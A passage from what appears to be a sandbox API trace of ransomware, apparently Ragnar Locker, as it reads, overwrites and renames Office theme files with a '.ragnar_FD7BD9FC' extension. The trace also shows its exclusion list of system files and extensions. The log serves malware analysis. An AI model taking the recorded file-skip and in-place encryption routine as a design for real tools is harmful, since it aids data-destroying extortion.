lpString2="ntuser.dat.log") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="ntuser.ini") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="thumbs.db") returned -1 [0094.175] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.175] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.175] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.175] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.175] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.175] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.176] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 0x20 [0094.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.177] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27789) returned 1 [0094.177] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x6c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.177] GetProcessHeap () returned 0x580000 [0094.177] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.177] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.178] VirtualAlloc (lpAddress=0x0, dwSize=0x6c8d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.178] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.178] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.178] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6c8d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6c8d, lpOverlapped=0x0) returned 1 [0094.179] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.180] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c8d, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.181] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6c8d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6c8d, lpOverlapped=0x0) returned 1 [0094.181] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c8d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.181] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.181] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x6c8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.181] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.181] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.182] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.182] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.182] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.182] GetProcessHeap () returned 0x580000 [0094.182] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.182] CloseHandle (hObject=0x98) returned 1 [0094.182] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" [0094.182] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.ragnar_FD7BD9FC" [0094.182] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.183] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="SOLSTI~1.EFT")) returned 1 [0094.183] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.183] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Solstice.eftx" | out: lpString1="Solstice.eftx") returned="Solstice.eftx" [0094.183] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned=".eftx" [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="autorun.inf") returned 1 [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="boot.ini") returned 1 [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="bootfont.bin") returned 1 [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="bootsect.bak") returned 1 [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="bootmgr") returned 1 [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="bootmgr.efi") returned 1 [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="bootmgfw.efi") returned 1 [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="desktop.ini") returned 1 [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="iconcache.db") returned 1 [0094.183] lstrcmpiW (lpString1="Solstice.eftx", lpString2="ntldr") returned 1 [0094.184] lstrcmpiW (lpString1="Solstice.eftx", lpString2="ntuser.dat") returned 1 [0094.184] lstrcmpiW (lpString1="Solstice.eftx", lpString2="ntuser.dat.log") returned 1 [0094.184] lstrcmpiW (lpString1="Solstice.eftx", lpString2="ntuser.ini") returned 1 [0094.184] lstrcmpiW (lpString1="Solstice.eftx", lpString2="thumbs.db") returned -1 [0094.184] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.184] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.184] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.184] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.184] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.184] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.184] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 0x20 [0094.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.185] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27781) returned 1 [0094.185] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x6c7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.185] GetProcessHeap () returned 0x580000 [0094.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.186] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.187] VirtualAlloc (lpAddress=0x0, dwSize=0x6c85, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.187] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.187] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.187] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6c85, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6c85, lpOverlapped=0x0) returned 1 [0094.188] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.189] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c85, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.189] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6c85, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6c85, lpOverlapped=0x0) returned 1 [0094.189] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c85, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.189] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.190] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x6c85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.190] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.190] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.190] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.190] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.190] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.190] GetProcessHeap () returned 0x580000 [0094.190] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.190] CloseHandle (hObject=0x98) returned 1 [0094.190] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" [0094.190] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.ragnar_FD7BD9FC" [0094.190] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.191] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="TECHNI~1.EFT")) returned 1 [0094.191] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.191] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Technic.eftx" | out: lpString1="Technic.eftx") returned="Technic.eftx" [0094.191] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned=".eftx" [0094.191] lstrcmpiW (lpString1="Technic.eftx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.191] lstrcmpiW (lpString1="Technic.eftx", lpString2="autorun.inf") returned 1 [0094.191] lstrcmpiW (lpString1="Technic.eftx", lpString2="boot.ini") returned 1 [0094.191] lstrcmpiW (lpString1="Technic.eftx", lpString2="bootfont.bin") returned 1 [0094.191] lstrcmpiW (lpString1="Technic.eftx", lpString2="bootsect.bak") returned 1 [0094.191] lstrcmpiW (lpString1="Technic.eftx", lpString2="bootmgr") returned 1 [0094.191] lstrcmpiW (lpString1="Technic.eftx", lpString2="bootmgr.efi") returned 1 [0094.191] lstrcmpiW (lpString1="Technic.eftx", lpString2="bootmgfw.efi") returned 1 [0094.191] lstrcmpiW (lpString1="Technic.eftx", lpString2="desktop.ini") returned 1 [0094.191] lstrcmpiW (lpString1="Technic.eftx", lpString2="iconcache.db") returned 1 [0094.192] lstrcmpiW (lpString1="Technic.eftx", lpString2="ntldr") returned 1 [0094.192] lstrcmpiW (lpString1="Technic.eftx", lpString2="ntuser.dat") returned 1 [0094.192] lstrcmpiW (lpString1="Technic.eftx", lpString2="ntuser.dat.log") returned 1 [0094.192] lstrcmpiW (lpString1="Technic.eftx", lpString2="ntuser.ini") returned 1 [0094.192] lstrcmpiW (lpString1="Technic.eftx", lpString2="thumbs.db") returned -1 [0094.192] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.192] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.192] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.192] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.192] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.192] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.192] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20 [0094.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.193] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23692) returned 1 [0094.193] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x5c83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.193] GetProcessHeap () returned 0x580000 [0094.193] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.193] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.195] VirtualAlloc (lpAddress=0x0, dwSize=0x5c8c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.195] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.195] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.195] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5c8c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5c8c, lpOverlapped=0x0) returned 1 [0094.196] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.196] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.196] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5c8c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5c8c, lpOverlapped=0x0) returned 1 [0094.196] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.196] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.197] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x5c8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.197] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.197] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.197] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.197] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.197] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.197] GetProcessHeap () returned 0x580000 [0094.197] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.197] CloseHandle (hObject=0x98) returned 1 [0094.197] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" [0094.197] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.ragnar_FD7BD9FC" [0094.197] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.198] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="THATCH~1.EFT")) returned 1 [0094.198] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.198] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Thatch.eftx" | out: lpString1="Thatch.eftx") returned="Thatch.eftx" [0094.198] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned=".eftx" [0094.198] lstrcmpiW (lpString1="Thatch.eftx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.198] lstrcmpiW (lpString1="Thatch.eftx", lpString2="autorun.inf") returned 1 [0094.198] lstrcmpiW (lpString1="Thatch.eftx", lpString2="boot.ini") returned 1 [0094.198] lstrcmpiW (lpString1="Thatch.eftx", lpString2="bootfont.bin") returned 1 [0094.198] lstrcmpiW (lpString1="Thatch.eftx", lpString2="bootsect.bak") returned 1 [0094.198] lstrcmpiW (lpString1="Thatch.eftx", lpString2="bootmgr") returned 1 [0094.198] lstrcmpiW (lpString1="Thatch.eftx", lpString2="bootmgr.efi") returned 1 [0094.198] lstrcmpiW (lpString1="Thatch.eftx", lpString2="bootmgfw.efi") returned 1 [0094.198] lstrcmpiW (lpString1="Thatch.eftx", lpString2="desktop.ini") returned 1 [0094.198] lstrcmpiW (lpString1="Thatch.eftx", lpString2="iconcache.db") returned 1 [0094.199] lstrcmpiW (lpString1="Thatch.eftx", lpString2="ntldr") returned 1 [0094.199] lstrcmpiW (lpString1="Thatch.eftx", lpString2="ntuser.dat") returned 1 [0094.199] lstrcmpiW (lpString1="Thatch.eftx", lpString2="ntuser.dat.log") returned 1 [0094.199] lstrcmpiW (lpString1="Thatch.eftx", lpString2="ntuser.ini") returned 1 [0094.199] lstrcmpiW (lpString1="Thatch.eftx", lpString2="thumbs.db") returned -1 [0094.199] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.199] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.199] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.199] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.199] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.199] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.199] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20 [0094.200] 